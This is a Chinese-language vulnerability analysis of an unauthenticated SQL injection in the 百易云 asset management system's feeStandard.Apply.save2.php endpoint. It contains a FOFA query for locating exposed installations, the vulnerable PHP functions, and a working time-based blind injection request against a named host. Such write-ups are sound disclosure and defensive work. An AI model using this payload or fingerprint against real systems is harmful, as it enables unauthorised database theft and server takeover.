漏洞简介
百易云资产管理运营系统,是专门针对企业不动产资产管理和运营需求而设计的一套综合解决方案。该系统能够覆盖资产的全,包括资产的登记、盘点、评估、处置等多个环节,同时提供强大的运营分析功能,帮助企业优化资产配置,提升运营效率。百易云资产管理运营系统 feeStandard.Apply.save2.php 接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
fofa语法
body="不要着急,点此"
漏洞分析
先看 feeStandard.Apply.save2.php 业务逻辑实现部分
<?php
error_reporting(E_ALL ^ E_NOTICE ^ E_WARNING);
session_start();
header("content-type:text/html; charset=utf-8");
require_once ("../com/util.class.php");
require_once ("../service/feeStandard.service.php");
$act = $_GET["act"] ;
$id = $_GET["id"] ;
$creator_id = $_SESSION["uid"] ;
$creator_name = $_SESSION["real_name"] ;
$feeStandard = new feeStandard();
if ($act=="delete") {
$project_id = $_GET["project_id"] ;
$ret = $feeStandard->feeStandardApplyDelete($id , $project_id) ;
//$feeStandard->dblog($feeStandard->getSql());
}
if ($act=="imaAttachRepair") {
$ret = $feeStandard->boundAttachImaRepair($id , $creator_name) ;
//$feeStandard->dblog($feeStandard->getSql());
}
if ($act=="open") {
$ret = $feeStandard->userStdOpen( $id ) ;
}
if ($act=="close") {
$ret = $feeStandard->userStdClose( $id ) ;
}
if ($act=="copy") {
$ret = $feeStandard->feeStandardApplyCopy($id ) ;
}
if ($act=="partEdit") {
$tag = $_GET['tag'];
$newval = $_GET['newval'];
$arrInfo=array($tag=>$newval,"last_update"=>$feeStandard->getTime(),"last_modifier"=>$creator_name);
$ret = $feeStandard->imaUpdate( $id,$arrInfo);
if ($ret<0) {
echo "更新失败.".$feeStandard->getErrInfo() ;
} else {
echo "更新成功!" ;
}
exit;
}
if ($ret<=0) {
$errInfo= $feeStandard->getErrInfo();
if ($errInfo=="重复插入") {
$errInfo=". 已有重复的仪表信息!";
} else if ($ret==0) {
$errInfo=". 无执行返回!";
}
$errInfo="操作失败".$errInfo ;
if ($act=="delete") {
$errInfo.=".有产生本月或之后仪表的读数!";
}
} else {
$errInfo="操作成功." ;
}
alertMsg($errInfo );
?>
根据 GET 参数 act 来进入不同的函数,当 act=delete 时 进入 feeStandardApplyDelete($id , $project_id) 函数,看其实现逻辑
feeStandardApplyDelete 函数
public function feeStandardApplyDelete( $id ,$project_id ) {
//$icount=$this->dbo->getCount("t_fee_list", "project_id={$project_id} and user_std_id in ( {$id} ) ");
$where="ima_id in ( {$id} ) and read_month>=DATE_FORMAT(NOW(),'%Y-%m')";
if ($project_id<>"") $where.=" and project_id=".$project_id ;
$icount=$this->dbo->getCount("t_ima_read", $where);
if ($icount==0 ) {
return $this->dbo->delete("t_house_fee_standard", "id in( {$id} )");
} else return 0;
}
可以看到 id 和 project_id 均是直接拼接在SQL语句中,无任何过滤或校验,造成SQL注入漏洞。
其余几个函数也存在同样的SQL注入漏洞,下面依次看下各个存在漏洞的函数,就不在一一分析了。
boundAttachImaRepair 函数
public function boundAttachImaRepair( $userStdIds,$creator) {
$sql="insert into t_house_fee_standard(project_id,hu_id,res_id,ctt_id,cst_id,fee_id,fee_code,fee_name,fee_standard_id,fee_standard_name,fee_std_type,
ima_type_code,ima_type_name,ima_code,ima_name,ima_rate,apply_date_begin,apply_date_end,creator,fmonth_type,from_ima_id)";
$sql.="select hfs.project_id,hfs.hu_id,hfs.res_id,hfs.ctt_id,hfs.cst_id,b.id as fee_id,b.fee_code,b.fee_name,c.id as fee_standard_id,c.fee_std_name,c.fee_std_type,
c.ima_type_code,c.ima_type_name,concat(hfs.ima_code,'-依附') as ima_code,concat(hfs.ima_name,'-依附') as ima_name,
hfs.ima_rate,hfs.apply_date_begin as apply_date_begin,hfs.apply_date_end as apply_date_end,'{$creator}' as creator,hfs.fmonth_type as fmonth_type,hfs.id as from_ima_id
from t_house_fee_standard hfs ,t_fee_subject b,t_fee_standard c
where hfs.id in (".$userStdIds.") and hfs.fee_id=c.attach_fee_id and b.id=c.fee_subject_id
and EXISTS(select 1 from t_house_fee_standard imaAttach left join t_house_fee_standard imaMain on imaAttach.from_ima_id=imaMain.id
where imaAttach.hu_id=hfs.hu_id and imaAttach.fee_std_type='fee_attach2' and imaAttach.fee_id=b.id and imaMain.fee_id=hfs.fee_id )
and not EXISTS(select 1 from t_house_fee_standard where hu_id=hfs.hu_id and fee_std_type='fee_attach2' and fee_standard_id=c.id and fee_id=b.id and from_ima_id=hfs.id )";
return $this->updateQuery($sql);
}
userStdOpen 函数
public function userStdOpen( $id ) {
return $this->dbo->updateQuery("update t_house_fee_standard set status=1,last_update=NOW() where id in ($id) and status<>1");
}
userStdClose 函数
public function userStdClose( $id ) {
return $this->dbo->updateQuery("update t_house_fee_standard set status=0,last_update=NOW() where id in ($id) and status<>0");
}
feeStandardApplyCopy 函数
public function feeStandardApplyCopy( $id ) {
$sql="insert into t_house_fee_standard(project_id,hu_id,res_id,cst_id,ctt_id,fee_id,fee_code,fee_name,fee_standard_id,fee_standard_name,fee_std_type,is_rent,fee_price,ima_type_code,ima_type_name, ima_code,ima_name,ima_rate,apply_date_begin,apply_date_end,lf_standard_id,lf_standard_name,gen_cycle,increase_mode,`status`) select project_id,hu_id,res_id,cst_id,ctt_id,fee_id,fee_code,fee_name,fee_standard_id,fee_standard_name,fee_std_type,is_rent,fee_price,ima_type_code,ima_type_name, concat(ima_code,'-2') as ima_code,concat(ima_name,'-2') as ima_name,ima_rate,apply_date_begin,apply_date_end,lf_standard_id,lf_standard_name,gen_cycle,increase_mode,`status` from t_house_fee_standard where id=".$id ;
$ret= $this->insertQuery($sql);
if ($ret>0){
$sql2="insert into t_house_fee_standard(project_id,hu_id,res_id,cst_id,ctt_id,fee_id,fee_code,fee_name,fee_standard_id,fee_standard_name,fee_std_type,is_rent,fee_price,ima_type_code,ima_type_name, ima_code,ima_name,ima_rate,apply_date_begin,apply_date_end,lf_standard_id,lf_standard_name,gen_cycle,increase_mode,`status`)
select project_id,hu_id,res_id,cst_id,ctt_id,fee_id,fee_code,fee_name,fee_standard_id,fee_standard_name,fee_std_type,is_rent,fee_price,ima_type_code,ima_type_name, concat(ima_code,'-2') as ima_code,concat(ima_name,'-2') as ima_name,ima_rate,apply_date_begin,apply_date_end,lf_standard_id,lf_standard_name,gen_cycle,increase_mode,`status` from t_house_fee_standard where id=".$id ;
}
return $ret;
}
imaUpdate 函数
public function imaUpdate( $id,$arrInfo) {
return $this->dbo->update("t_house_fee_standard",$arrInfo,"id=".$id);
}
漏洞复现
GET /adminx/feeStandard.Apply.save2.php?act=delete&id=1&project_id=1+AND+%28SELECT+11+FROM+%28SELECT%28SLEEP%285%29%29%29BgSye%29--+- HTTP/1.1
Host: baiyishequ.mrxn.net

成功延时 5 秒
其他函数的SQL注入漏洞就不复述了,一样的原理。


